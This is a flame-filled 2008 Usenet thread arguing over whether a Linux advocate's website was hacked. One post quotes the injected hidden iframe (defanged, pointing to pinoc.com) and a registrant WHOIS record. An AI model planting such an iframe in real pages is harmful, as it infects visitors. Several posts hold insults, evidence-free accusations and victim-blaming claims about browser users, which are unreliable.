>>> I've worked for 2 days on resolving this (it took a long time to handle
>>> 100,000+ files). Unlike probably thousands of other Web sites that still have
>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>> reference that get forcibly attached to it).
>>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS.
>
>
> There's no indication that his website was compromised. Stating it in
> big letters doesn't make any less false.

Ok, who are you? Clearly a clueless fool and a nym shift from one of
Roy's fluffers. If his website was not compromised then please ask Roy
what he was doing with his 1000s of files the past 2 days.

>
>> That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>> it.
>
>
> Wrong as well. The spreaders are the users who advise their system to
> automagically install malware downloaded from a website.

You means Roy's website?

Tim Smith
03-15-08, 01:45 PM
In article <1rsjbuemti6ak$.dlg@funkenbusch.com>,
Erik Funkenbusch <erik@despam-funkenbusch.com> wrote:
> > I've worked for 2 days on resolving this (it took a long time to handle
> > 100,000+ files). Unlike probably thousands of other Web sites that still
> > have
> > this iframe problem... (it's nothing to do with the site but a leech-type
> > reference that get forcibly attached to it).
>
> What a wanker you are Roy.
>
> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
> files were infected. That makes YOUR SITE the spreader, regardless of
> where the malware was hosted, YOUR SITE was telling browsers to download
> it.

Well, at least it isn't infecting people now. The front page now is
this:

HaCkEd By LUViGARO ;D


--
--Tim Smith

Tim Smith
03-15-08, 01:47 PM
In article <642dveF2a7vd5U1@mid.dfncis.de>,
"Sebastian G." <seppi@seppig.de> wrote:
> > You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
> > USED TO INFECT OTHERS.
>
>
> There's no indication that his website was compromised. Stating it in big
> letters doesn't make any less false.

You don't consider someone other than yourself editing the pages on your
website to be being compromised?

--
--Tim Smith

Hadron
03-15-08, 01:54 PM
Linonut <linonut@bollsouth.nut> writes:

> * Erik Funkenbusch peremptorily fired off this memo:
>
>> On Sat, 15 Mar 2008 13:29:35 -0400, Linonut wrote:
>>>>
>>>> No, there are clearly a lot of botnets out there attempting to attack
>>>> virtually every IP address in the world. You're not special Roy, it
>>>> happens to everyone. Get over it.
>>>
>>> Hard to, with you jamming his ass above.
>>
>> Oh, please. His site gets compromised in a standard botnet attack and he
>> twists to make it seem like he's being targeted explicitly, obviously
>> because he's such a threat.
>>
>> You don't see that as paranoia?
>
> I don't see the /that/ that you see.
>
> And even in that case, no, it is not paranoia. There are plenty of
> COLA-lurking clowns that would have a great time if they could hack
> Roy's sites.
>
> And you know it.

Like who? According to you all the COLA "windiots" are too stupid. I
know you are. I suspect it was another Linux "advocate" who got sick and
tired of Roy bringing COLA and Linux advocacy into the gutter. Hell, it
could even have been Mark Kent as part of his MS Partner Programme.

Erik Funkenbusch
03-15-08, 01:58 PM
On Sat, 15 Mar 2008 14:39:09 -0400, Linonut wrote:

> * Erik Funkenbusch peremptorily fired off this memo:
>
>> On Sat, 15 Mar 2008 13:29:35 -0400, Linonut wrote:
>>>>
>>>> No, there are clearly a lot of botnets out there attempting to attack
>>>> virtually every IP address in the world. You're not special Roy, it
>>>> happens to everyone. Get over it.
>>>
>>> Hard to, with you jamming his ass above.
>>
>> Oh, please. His site gets compromised in a standard botnet attack and he
>> twists to make it seem like he's being targeted explicitly, obviously
>> because he's such a threat.
>>
>> You don't see that as paranoia?
>
> I don't see the /that/ that you see.
>
> And even in that case, no, it is not paranoia. There are plenty of
> COLA-lurking clowns that would have a great time if they could hack
> Roy's sites.
>
> And you know it.

And you think any of them are capable of it?

But that's irrelevant, since anyone with half a brain should know that
these were not deliberate attacks against him, instead I believe he chooses
to *PORTRAY* it as a deliberate attack, knowing that many in here will
believe him.

Tim Smith
03-15-08, 01:58 PM
In article <EzQCj.19709$r76.596@bignews8.bellsouth.net>,
Linonut <linonut@bollsouth.nut> wrote:
> > Registrant:
> > N/A
> > Manager (manager@home-made.tv)
> > Wolfson 25
> > Rishon-Le-Zion
> > Ha Merkaz,75203
> > IL
> > Tel. +972.525920204
> >
> > Status:SUSPENDED
> > Note: This Domain Name is Suspended. In this status the domain name is
> > InActive and will not function.
>
> That entry is borked. The Zip is wrong.

What would be the right Zip? I am unable to find an online, free,
resource for Israeli zip codes that I can understand--they all seem to
be in Hebrew.

--
--Tim Smith

Hadron
03-15-08, 02:00 PM
Tim Smith <reply_in_group@mouse-potato.com> writes:

> In article <1rsjbuemti6ak$.dlg@funkenbusch.com>,
> Erik Funkenbusch <erik@despam-funkenbusch.com> wrote:
>> > I've worked for 2 days on resolving this (it took a long time to handle
>> > 100,000+ files). Unlike probably thousands of other Web sites that still
>> > have
>> > this iframe problem... (it's nothing to do with the site but a leech-type
>> > reference that get forcibly attached to it).
>>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>> files were infected. That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>> it.
>
> Well, at least it isn't infecting people now. The front page now is
> this:
>
> HaCkEd By LUViGARO ;D

Too funny!

It is too!!!!!!!!!!!

Erik Funkenbusch
03-15-08, 02:08 PM
On Sat, 15 Mar 2008 11:45:45 -0700, Tim Smith wrote:

> In article <1rsjbuemti6ak$.dlg@funkenbusch.com>,
> Erik Funkenbusch <erik@despam-funkenbusch.com> wrote:
>>> I've worked for 2 days on resolving this (it took a long time to handle
>>> 100,000+ files). Unlike probably thousands of other Web sites that still
>>> have
>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>> reference that get forcibly attached to it).
>>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>> files were infected. That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>> it.
>
> Well, at least it isn't infecting people now. The front page now is
> this:
>
> HaCkEd By LUViGARO ;D

Lol.

Pw3d!

David H. Lipman
03-15-08, 02:15 PM
From: "Tim Smith" <reply_in_group@mouse-potato.com>

| In article <642dveF2a7vd5U1@mid.dfncis.de>,
| "Sebastian G." <seppi@seppig.de> wrote:
>>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>>> USED TO INFECT OTHERS.
>>
>> There's no indication that his website was compromised. Stating it in big
>> letters doesn't make any less false.
|
| You don't consider someone other than yourself editing the pages on your
| website to be being compromised?
|

The following was appended to the HTML of the web site...
{ obfuscated code }

<i frame src="hxxp://pinoc.com/count.php?o=2" width=0 height=0 style="hidden" frameborder=0
marginheight=0 marginwidth=0 scrolling=no></i frame>

As Ant noted, pinoc.com is a suspended site associated with ESTDomains.

There is a well established link between ESTDomains and malicious web sites that are
designed to do nothing more then infect the unsuspecting visitor.

The site was hacked and thus compramised.

The ONLY question that should be now asked is...
What was the exploitation vector that used to compramise the web site.

--
Dave
http://www.claymania.com/removal-trojan-adware.html
Multi-AV - http://www.pctipp.ch/downloads/dl/35905.asp

Tattoo Vampire
03-15-08, 02:40 PM
Hadron wrote:

> Like who? According to you all the COLA "windiots" are too stupid. I
> know you are. I suspect it was another Linux "advocate" who got sick and
> tired of Roy bringing COLA and Linux advocacy into the gutter. Hell, it
> could even have been Mark Kent as part of his MS Partner Programme.

No, it was one of the Winidiots that continue to stink up this newsgroup.

Don't worry, though. We know it wasn't you, because there is no way you're
that smart.

--
Regards,
[tv]

....I don't suffer from insanity, I enjoy every minute of it.

Owner and proprietor, Trollus Amongus, LLC

Sebastian G.
03-15-08, 03:36 PM
Hadron wrote:


> Bottom line : Schestowitz was infecting other peoples computers.


No, he didn't. Repeating it over and over again doesn't help you.

> And since it was only Windows machines which got infected it wouldn't
> surprise me one bit if there was more to this than meets the eye.


You're twisting correlation and causality. Only machines using *Internet
Explorer* got infected, and since Internet Explorer is primarily only
available for Windows, the obvious consequence is that almost all of the
infected machines run Windows.

> He was told ages ago about this and did NOTHING about it.


Not just that it's not him at all, why exactly should be do anything about
it. He's not harming any serious visitor, and is getting access to machines
for free, and can't be hold responsible (since the users intentionally
offered him full access to their machines).

Hadron
03-15-08, 03:38 PM
"Sebastian G." <seppi@seppig.de> writes:

> Hadron wrote:
>
>
>> Bottom line : Schestowitz was infecting other peoples computers.
>
>
> No, he didn't. Repeating it over and over again doesn't help you.
>
>> And since it was only Windows machines which got infected it wouldn't
>> surprise me one bit if there was more to this than meets the eye.
>
>
> You're twisting correlation and causality. Only machines using
> *Internet Explorer* got infected, and since Internet Explorer is

On Windows.

> primarily only available for Windows, the obvious consequence is that
> almost all of the infected machines run Windows.

>
>> He was told ages ago about this and did NOTHING about it.
>
>
> Not just that it's not him at all, why exactly should be do anything
> about it. He's not harming any serious visitor, and is getting access
> to machines for free, and can't be hold responsible (since the users
> intentionally offered him full access to their machines).

LOL: Now I see you're only trying to make Roy look worse!

You had me fooled for a minute.

Sebastian G.
03-15-08, 03:39 PM
Tim Smith wrote:

> In article <642dveF2a7vd5U1@mid.dfncis.de>,
> "Sebastian G." <seppi@seppig.de> wrote:
>>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>>> USED TO INFECT OTHERS.
>>
>> There's no indication that his website was compromised. Stating it in big
>> letters doesn't make any less false.
>
> You don't consider someone other than yourself editing the pages on your
> website to be being compromised?


Now that would be a serious indication if it's true. But this is unrelated
to the infection since a totally unmodified website including content from
potentially untrusted third party (as most big websites do) could appear
like it's infecting machines to the clueless.

Sebastian G.
03-15-08, 03:44 PM
David H. Lipman wrote:


> There is a well established link between ESTDomains and malicious web sites that are
> designed to do nothing more then infect the unsuspecting visitor.


Technically that's a lie. If a user is abusing MSIE as a webbrowser, he
should be aware that he's effectively offering a remote shell to every
website he visits. If not, then he doesn't know what he's doing, and should
expect serious consequences from such ignorance as well.

An unsuspecting user would require using a secure webbrowser with a sane
configuration, which in turn can't be compromised that easily (if at all).

John Bokma
03-15-08, 05:58 PM
Hadron <hadronquark@googlemail.com> wrote:

> You had me fooled for a minute.

Which is a piece of cake because your a ****wit

foad

--
John Bokma http://johnbokma.com/

Hadron
03-15-08, 06:13 PM
John Bokma <john@castleamber.com> writes:

> Hadron <hadronquark@googlemail.com> wrote:
>
>> You had me fooled for a minute.
>
> Which is a piece of cake because your a ****wit
>
> foad

That would "you're".

Moshe Goldfarb
03-15-08, 09:07 PM
On Sat, 15 Mar 2008 18:05:18 +0100, Sebastian G. wrote:

> Erik Funkenbusch wrote:
>
>> On Sat, 15 Mar 2008 04:14:55 +0000, Roy Schestowitz wrote:
>>
>>> I've worked for 2 days on resolving this (it took a long time to handle
>>> 100,000+ files). Unlike probably thousands of other Web sites that still have
>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>> reference that get forcibly attached to it).
>>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS.
>
>
> There's no indication that his website was compromised. Stating it in big
> letters doesn't make any less false.

COLA denial at it's finest.

Truly amazing.....


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Moshe Goldfarb
03-15-08, 09:09 PM
On Sat, 15 Mar 2008 14:58:04 -0400, Erik Funkenbusch wrote:

> On Sat, 15 Mar 2008 14:39:09 -0400, Linonut wrote:
>
>> * Erik Funkenbusch peremptorily fired off this memo:
>>
>>> On Sat, 15 Mar 2008 13:29:35 -0400, Linonut wrote:
>>>>>
>>>>> No, there are clearly a lot of botnets out there attempting to attack
>>>>> virtually every IP address in the world. You're not special Roy, it
>>>>> happens to everyone. Get over it.
>>>>
>>>> Hard to, with you jamming his ass above.
>>>
>>> Oh, please. His site gets compromised in a standard botnet attack and he
>>> twists to make it seem like he's being targeted explicitly, obviously
>>> because he's such a threat.
>>>
>>> You don't see that as paranoia?
>>
>> I don't see the /that/ that you see.
>>
>> And even in that case, no, it is not paranoia. There are plenty of
>> COLA-lurking clowns that would have a great time if they could hack
>> Roy's sites.
>>
>> And you know it.
>
> And you think any of them are capable of it?
>
> But that's irrelevant, since anyone with half a brain should know that
> these were not deliberate attacks against him, instead I believe he chooses
> to *PORTRAY* it as a deliberate attack, knowing that many in here will
> believe him.

Of course they are going to believe him.
They are in denial.

Look at that guy Sebastion who is claiming it didn't even happen, even
after Roy Schestowitz admitted it.

Truly amazing.

Some of these Linux advocates are just like zombies.
--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Moshe Goldfarb
03-15-08, 09:17 PM
On Sat, 15 Mar 2008 19:41:30 +0100, Hadron wrote:

> Linonut <linonut@bollsouth.nut> writes:
>
>> * Erik Funkenbusch peremptorily fired off this memo:
>>
>>> What a wanker you are Roy.
>>>
>>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>>> files were infected. That makes YOUR SITE the spreader, regardless of
>>> where the malware was hosted, YOUR SITE was telling browsers to download
>>> it.
>>>
>>> Way to make yourself feel special, Roy.
>>>
>>> *EVERY* IP ADDRESS IN THE WORLD has many hacking attempts made against it,
>>> every single day.
>>>
>>> No, there are clearly a lot of botnets out there attempting to attack
>>> virtually every IP address in the world. You're not special Roy, it
>>> happens to everyone. Get over it.
>>
>> Hard to, with you jamming his ass above.
>
> Not that I expect a liar and fraud like you to understand, but which
> part of what Erik said was WRONG Liarnut?
>
> Bottom line : Schestowitz was infecting other peoples computers. And
> since it was only Windows machines which got infected it wouldn't
> surprise me one bit if there was more to this than meets the eye. He was
> told ages ago about this and did NOTHING about it.

The classic signs of a narcissist.
Me?
It can't possibly be *me* because *I* am too smart for this.

Yes, Schestowitz knew about this and I wouldn't be surprised if he wasn't
behind it to infect other people's machines.

With Roy Schestowitz, nothing would surprise me.


> And now he starts waffling on about how is ip was attacked? Whoopee
> Doo. It happens to everyone on broadband EVERY DAY!

The blinking "Internet LED" probably has him totally baffled.

> The fact is that he is an incompetent big head with a persecution
> complex. Him and Mark Kent have been made to look like the boobies they
> are in the past few days.

They are falling faster than the walls of Jericho.
That is what happens when your real motives are different than your true
motives.


> You should be ashamed of yourself supporting such phonies and
> idiots. They do more to harm the Linux cause than MS ever could!

They sure do.
For anyone new to Linux who starts googling Scehstowitz, and how can you
miss him because his name and websites are splattered everywhere, they will
get the impression that Linux is run by lunatics.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Moshe Goldfarb
03-15-08, 09:19 PM
On Sat, 15 Mar 2008 11:45:45 -0700, Tim Smith wrote:

> In article <1rsjbuemti6ak$.dlg@funkenbusch.com>,
> Erik Funkenbusch <erik@despam-funkenbusch.com> wrote:
>>> I've worked for 2 days on resolving this (it took a long time to handle
>>> 100,000+ files). Unlike probably thousands of other Web sites that still
>>> have
>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>> reference that get forcibly attached to it).
>>
>> What a wanker you are Roy.
>>
>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>> files were infected. That makes YOUR SITE the spreader, regardless of
>> where the malware was hosted, YOUR SITE was telling browsers to download
>> it.
>
> Well, at least it isn't infecting people now. The front page now is
> this:
>
> HaCkEd By LUViGARO ;D

Hahahahahahhahahahahhahahahahahhahahah!!!!!!!!!!!!!!!!!!

Roy Schestowitz wanted attention, now he *has* attention....




--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Moshe Goldfarb
03-15-08, 09:21 PM
On Sat, 15 Mar 2008 15:08:20 -0400, Erik Funkenbusch wrote:

> On Sat, 15 Mar 2008 11:45:45 -0700, Tim Smith wrote:
>
>> In article <1rsjbuemti6ak$.dlg@funkenbusch.com>,
>> Erik Funkenbusch <erik@despam-funkenbusch.com> wrote:
>>>> I've worked for 2 days on resolving this (it took a long time to handle
>>>> 100,000+ files). Unlike probably thousands of other Web sites that still
>>>> have
>>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>>> reference that get forcibly attached to it).
>>>
>>> What a wanker you are Roy.
>>>
>>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>>> files were infected. That makes YOUR SITE the spreader, regardless of
>>> where the malware was hosted, YOUR SITE was telling browsers to download
>>> it.
>>
>> Well, at least it isn't infecting people now. The front page now is
>> this:
>>
>> HaCkEd By LUViGARO ;D
>
> Lol.
>
> Pw3d!

I wonder if Mark Kent's computer is infected as well?

And what about all those connections Make Kent supports for other people
who also use his computer to access USENET?

Has it spread to them as well?

I can't wait to see how Schestowitz and Kent try to explain this one away.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Dr.Hal0nf1r$
03-15-08, 10:20 PM
chrisv wrote:
> chrisv wrote:
>> "chrisv" <chrisv@nospam.invalid> wrote
>> news:47dc06dd$0$28103$c3e8da3@news.astraweb.com...
>>> chrisv wrote:
>>>>
>>>> Just KF the worthless POS and be done with it.
>>>
>>> *plonk*
>> *plonk* , bro!
>
> Don't *plonk* me, bro!

Are you on the right pills?

chrisv
03-16-08, 05:13 AM
"Dr.Hal0nf1r$" <femail@nospam.kustomkomputa.co.uk.invalid> schreef in
bericht news:qJCdnWzgkZ-XD0HaRVnyvAA@bt.com...
> chrisv wrote:
>> chrisv wrote:
>>> "chrisv" <chrisv@nospam.invalid> wrote
>>> news:47dc06dd$0$28103$c3e8da3@news.astraweb.com...
>>>> chrisv wrote:
>>>>>
>>>>> Just KF the worthless POS and be done with it.
>>>>
>>>> *plonk*
>>> *plonk* , bro!
>>
>> Don't *plonk* me, bro!
>
> Are you on the right pills?
>
*PLONK*, sister!

Linonut
03-16-08, 10:18 AM
* Erik Funkenbusch peremptorily fired off this memo:

>> And even in that case, no, it is not paranoia. There are plenty of
>> COLA-lurking clowns that would have a great time if they could hack
>> Roy's sites.
>>
>> And you know it.
>
> And you think any of them are capable of it?

It doesn't matter. They are only a handshake away from someone who is
capable.

> But that's irrelevant, since anyone with half a brain should know that
> these were not deliberate attacks against him, instead I believe he chooses
> to *PORTRAY* it as a deliberate attack, knowing that many in here will
> believe him.

I don't believe Roy on this one. But I do believe it was a deliberate
attack, on my own evidence. Just because it is a common attack doesn't
make it non-deliberate.

It is quite possible to me that someone said, hey, see what you can do
with this shestowitz.com site, hmm?

--
We will never make a 32-bit operating system.
-- Bill Gates, At the launch of MSX[3]

Linonut
03-16-08, 10:21 AM
* Erik Funkenbusch peremptorily fired off this memo:

> On Sat, 15 Mar 2008 11:45:45 -0700, Tim Smith wrote:
>
>> In article <1rsjbuemti6ak$.dlg@funkenbusch.com>,
>> Erik Funkenbusch <erik@despam-funkenbusch.com> wrote:
>>>> I've worked for 2 days on resolving this (it took a long time to handle
>>>> 100,000+ files). Unlike probably thousands of other Web sites that still
>>>> have
>>>> this iframe problem... (it's nothing to do with the site but a leech-type
>>>> reference that get forcibly attached to it).
>>>
>>> What a wanker you are Roy.
>>>
>>> You can sit here and twist all you like, but YOUR SITE WAS COMPROMISED AND
>>> USED TO INFECT OTHERS. Yes, it was something to do with your site. Your
>>> files were infected. That makes YOUR SITE the spreader, regardless of
>>> where the malware was hosted, YOUR SITE was telling browsers to download
>>> it.
>>
>> Well, at least it isn't infecting people now. The front page now is
>> this:
>>
>> HaCkEd By LUViGARO ;D
>
> Lol.
>
> Pw3d!

So much for Erik's claim that Roy is silly in claiming his site was
specifically targeted.

Really enjoying yourselves, huh boys?

--
There are people who don't like capitalism, and people who don't like PCs.
But there's no-one who likes the PC who doesn't like Microsoft.
-- Bill Gates

Linonut
03-16-08, 10:24 AM
* Tim Smith peremptorily fired off this memo:

> In article <EzQCj.19709$r76.596@bignews8.bellsouth.net>,
> Linonut <linonut@bollsouth.nut> wrote:
>> > Registrant:
>> > N/A
>> > Manager (manager@home-made.tv)
>> > Wolfson 25
>> > Rishon-Le-Zion
>> > Ha Merkaz,75203
>> > IL
>> > Tel. +972.525920204
>> >
>> > Status:SUSPENDED
>> > Note: This Domain Name is Suspended. In this status the domain name is
>> > InActive and will not function.
>>
>> That entry is borked. The Zip is wrong.
>
> What would be the right Zip? I am unable to find an online, free,
> resource for Israeli zip codes that I can understand--they all seem to
> be in Hebrew.

I was stupid. Being from Illinois, that was my first (and *******)
thought about the meaning of IL. And I should have counted the digits
in the phone number, too.

--
One thing we have got to change in our strategy - allowing Office documents to
be rendered very well by other peoples browsers is one of the most destructive
things we could do to the company. We have to stop putting any effort into this
and make sure that Office documents very well depends on PROPRIETARY IE
capabilities.
-- Bill Gates, 1998 a memo to the Office product group[2]

Moshe Goldfarb
03-16-08, 10:46 AM
On Sun, 16 Mar 2008 11:18:33 -0400, Linonut wrote:

> * Erik Funkenbusch peremptorily fired off this memo:
>
>>> And even in that case, no, it is not paranoia. There are plenty of
>>> COLA-lurking clowns that would have a great time if they could hack
>>> Roy's sites.
>>>
>>> And you know it.
>>
>> And you think any of them are capable of it?
>
> It doesn't matter. They are only a handshake away from someone who is
> capable.
>
>> But that's irrelevant, since anyone with half a brain should know that
>> these were not deliberate attacks against him, instead I believe he chooses
>> to *PORTRAY* it as a deliberate attack, knowing that many in here will
>> believe him.
>
> I don't believe Roy on this one. But I do believe it was a deliberate
> attack, on my own evidence. Just because it is a common attack doesn't
> make it non-deliberate.
>
> It is quite possible to me that someone said, hey, see what you can do
> with this shestowitz.com site, hmm?

Personally I believe there is no doubt that Roy Schestowitz was targeted,
for whatever reason.

Roy wishes to make himself known all over the Internet and that's fine.
However, when a person takes a position of hate and lies and then tries to
fool and mislead people, they tend to make a lot of enemies and very
quickly.

It could be any topic from car parts to DVD players when you start
attracting attention, like boycott and hate sites usually do, you are going
to have people who agree with you and people who don't.

My theory is that Roy Schestowitz is angering the employees of these
companies that he is constantly attacking and they in turn are offering him
and his sites up as fresh meat to be discredited by people who take pride
in cracking the code, so to speak.

IOW when you put up a 1000 foot steel rod in the middle of a 10 acre field
with nothing else in sight for miles, you have to expect to attract
lightening.

Add in Roy's caustic personality and the ability for him to piss people off
and now you have all the trappings of a "let's get this guy" vendetta.

Is Microsoft or Novell or any of the other companies he regularly slanders
/ libels behind this?
Highly doubtful.

However you can bet your sweet bippy that those companies are building a
case against Roy Schestowitz though and at some point, if it hasn't
happened already, he will be asked to stop.

Microsoft is like the IRS or the RIAA in that they like to make an example
of high profile people in order to scare the rest of the sheep.

Time will tell and if Roy can support his claims, he will win.
Assuming his parent's bank account holds out long enough of course.



--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Hadron
03-16-08, 11:20 AM
Moshe Goldfarb <brick.n.straw@gmail.com> writes:

> On Sun, 16 Mar 2008 11:18:33 -0400, Linonut wrote:
>
>> * Erik Funkenbusch peremptorily fired off this memo:
>>
>>>> And even in that case, no, it is not paranoia. There are plenty of
>>>> COLA-lurking clowns that would have a great time if they could hack
>>>> Roy's sites.
>>>>
>>>> And you know it.
>>>
>>> And you think any of them are capable of it?
>>
>> It doesn't matter. They are only a handshake away from someone who is
>> capable.
>>
>>> But that's irrelevant, since anyone with half a brain should know that
>>> these were not deliberate attacks against him, instead I believe he chooses
>>> to *PORTRAY* it as a deliberate attack, knowing that many in here will
>>> believe him.
>>
>> I don't believe Roy on this one. But I do believe it was a deliberate
>> attack, on my own evidence. Just because it is a common attack doesn't
>> make it non-deliberate.
>>
>> It is quite possible to me that someone said, hey, see what you can do
>> with this shestowitz.com site, hmm?
>
> Personally I believe there is no doubt that Roy Schestowitz was targeted,
> for whatever reason.
>
> Roy wishes to make himself known all over the Internet and that's fine.
> However, when a person takes a position of hate and lies and then tries to
> fool and mislead people, they tend to make a lot of enemies and very
> quickly.
>
> It could be any topic from car parts to DVD players when you start
> attracting attention, like boycott and hate sites usually do, you are going
> to have people who agree with you and people who don't.
>
> My theory is that Roy Schestowitz is angering the employees of these
> companies that he is constantly attacking and they in turn are offering him
> and his sites up as fresh meat to be discredited by people who take pride
> in cracking the code, so to speak.

He puts people's jobs at risk too.

Moshe Goldfarb
03-16-08, 11:28 AM
On Sun, 16 Mar 2008 17:20:29 +0100, Hadron wrote:

> Moshe Goldfarb <brick.n.straw@gmail.com> writes:
>
>> On Sun, 16 Mar 2008 11:18:33 -0400, Linonut wrote:
>>
>>> * Erik Funkenbusch peremptorily fired off this memo:
>>>
>>>>> And even in that case, no, it is not paranoia. There are plenty of
>>>>> COLA-lurking clowns that would have a great time if they could hack
>>>>> Roy's sites.
>>>>>
>>>>> And you know it.
>>>>
>>>> And you think any of them are capable of it?
>>>
>>> It doesn't matter. They are only a handshake away from someone who is
>>> capable.
>>>
>>>> But that's irrelevant, since anyone with half a brain should know that
>>>> these were not deliberate attacks against him, instead I believe he chooses
>>>> to *PORTRAY* it as a deliberate attack, knowing that many in here will
>>>> believe him.
>>>
>>> I don't believe Roy on this one. But I do believe it was a deliberate
>>> attack, on my own evidence. Just because it is a common attack doesn't
>>> make it non-deliberate.
>>>
>>> It is quite possible to me that someone said, hey, see what you can do
>>> with this shestowitz.com site, hmm?
>>
>> Personally I believe there is no doubt that Roy Schestowitz was targeted,
>> for whatever reason.
>>
>> Roy wishes to make himself known all over the Internet and that's fine.
>> However, when a person takes a position of hate and lies and then tries to
>> fool and mislead people, they tend to make a lot of enemies and very
>> quickly.
>>
>> It could be any topic from car parts to DVD players when you start
>> attracting attention, like boycott and hate sites usually do, you are going
>> to have people who agree with you and people who don't.
>>
>> My theory is that Roy Schestowitz is angering the employees of these
>> companies that he is constantly attacking and they in turn are offering him
>> and his sites up as fresh meat to be discredited by people who take pride
>> in cracking the code, so to speak.
>
> He puts people's jobs at risk too.

That's kind of what I am getting at although in reading my message I didn't
make it too clear :)

Unlike Schestowitz who sits in a dorm room SPAMMING 24x7 and sponging off
his parents money, the people he is indirectly attacking have families to
feed and I'm sure they are not taking his attacks and hate sites lightly.


--
Moshe Goldfarb
Collector of soaps from around the globe.
Please visit The Hall of Linux Idiots:
http://linuxidiots.blogspot.com/

Tim Smith
03-16-08, 01:51 PM
In article <8WaDj.5750$Q52.2584@bignews9.bellsouth.net>,
Linonut <linonut@bollsouth.nut> wrote:
> >> Well, at least it isn't infecting people now. The front page now is
> >> this:
> >>
> >> HaCkEd By LUViGARO ;D
> >
> > Lol.
> >
> > Pw3d!
>
> So much for Erik's claim that Roy is silly in claiming his site was
> specifically targeted.

Certainly LUViGARO specifically decided Roy's site would be one he
HaCkEd. But why? My guess is that LUViGARO never heard of Roy until
this thread (which is widely cross-posted), read that Roy was having
some trouble cleaning up, and went for him.

The initial attack was that iframe thing, that is getting a lot of
sites. The only thing remarkable about Roy getting it is that AFTER
getting it, he continued to post about how it was an ASP and Microsoft
problem, even though his site is on Apache on Linux.

--
--Tim Smith

Jez
03-16-08, 05:35 PM
Hadron wrote:
> John Bokma <john@castleamber.com> writes:
>
>> Hadron <hadronquark@googlemail.com> wrote:
>>
>>> You had me fooled for a minute.
>> Which is a piece of cake because your a ****wit
>>
>> foad
>
> That would "you're".

The would "be" "you're"

Paul
03-16-08, 06:07 PM
On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:

>> That would "you're".
>
>The would "be" "you're"

"that" would be you're.

Sorry Jez, couldn't resist. <G>

----== Posted via Newsfeeds.Com - Unlimited-Unrestricted-Secure Usenet News==----
http://www.newsfeeds.com The #1 Newsgroup Service in the World! 120,000+ Newsgroups
----= East and West-Coast Server Farms - Total Privacy via Encryption =----

Hadron
03-16-08, 11:41 PM
Tim Smith <reply_in_group@mouse-potato.com> writes:

> In article <8WaDj.5750$Q52.2584@bignews9.bellsouth.net>,
> Linonut <linonut@bollsouth.nut> wrote:
>> >> Well, at least it isn't infecting people now. The front page now is
>> >> this:
>> >>
>> >> HaCkEd By LUViGARO ;D
>> >
>> > Lol.
>> >
>> > Pw3d!
>>
>> So much for Erik's claim that Roy is silly in claiming his site was
>> specifically targeted.
>
> Certainly LUViGARO specifically decided Roy's site would be one he
> HaCkEd. But why? My guess is that LUViGARO never heard of Roy until
> this thread (which is widely cross-posted), read that Roy was having
> some trouble cleaning up, and went for him.
>
> The initial attack was that iframe thing, that is getting a lot of
> sites. The only thing remarkable about Roy getting it is that AFTER
> getting it, he continued to post about how it was an ASP and Microsoft
> problem, even though his site is on Apache on Linux.

**** off Tim. Even Roy is not so stupid to claim that.

Big Bill
03-17-08, 01:39 AM
On Sun, 16 Mar 2008 23:07:06 +0000, Paul
<customerservices@houstoncrafts.com> wrote:

>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>
>>> That would "you're".
>>
>>The would "be" "you're"
>
>"that" would be you're.
>

"That" would "be" "you're".

Please note the capital T.

Unlike some groups, you see, we here at AISE only have time to debate
the important issues.

BB
--

http://www.kruse.co.uk/
http://www.fat-odin.com/
http://www.here-be-posters.co.uk/

Paul
03-17-08, 07:02 AM
On Mon, 17 Mar 2008 06:39:42 GMT, Big Bill <bill@kruse.co.uk> wrote:

>On Sun, 16 Mar 2008 23:07:06 +0000, Paul
><customerservices@houstoncrafts.com> wrote:
>
>>On Sun, 16 Mar 2008 22:35:25 +0000, Jez <j.ez@virgin.net> wrote:
>>
>>>> That would "you're".
>>>
>>>The would "be" "you're"
>>
>>"that" would be you're.
>>
>
>"That" would "be" "you're".
>
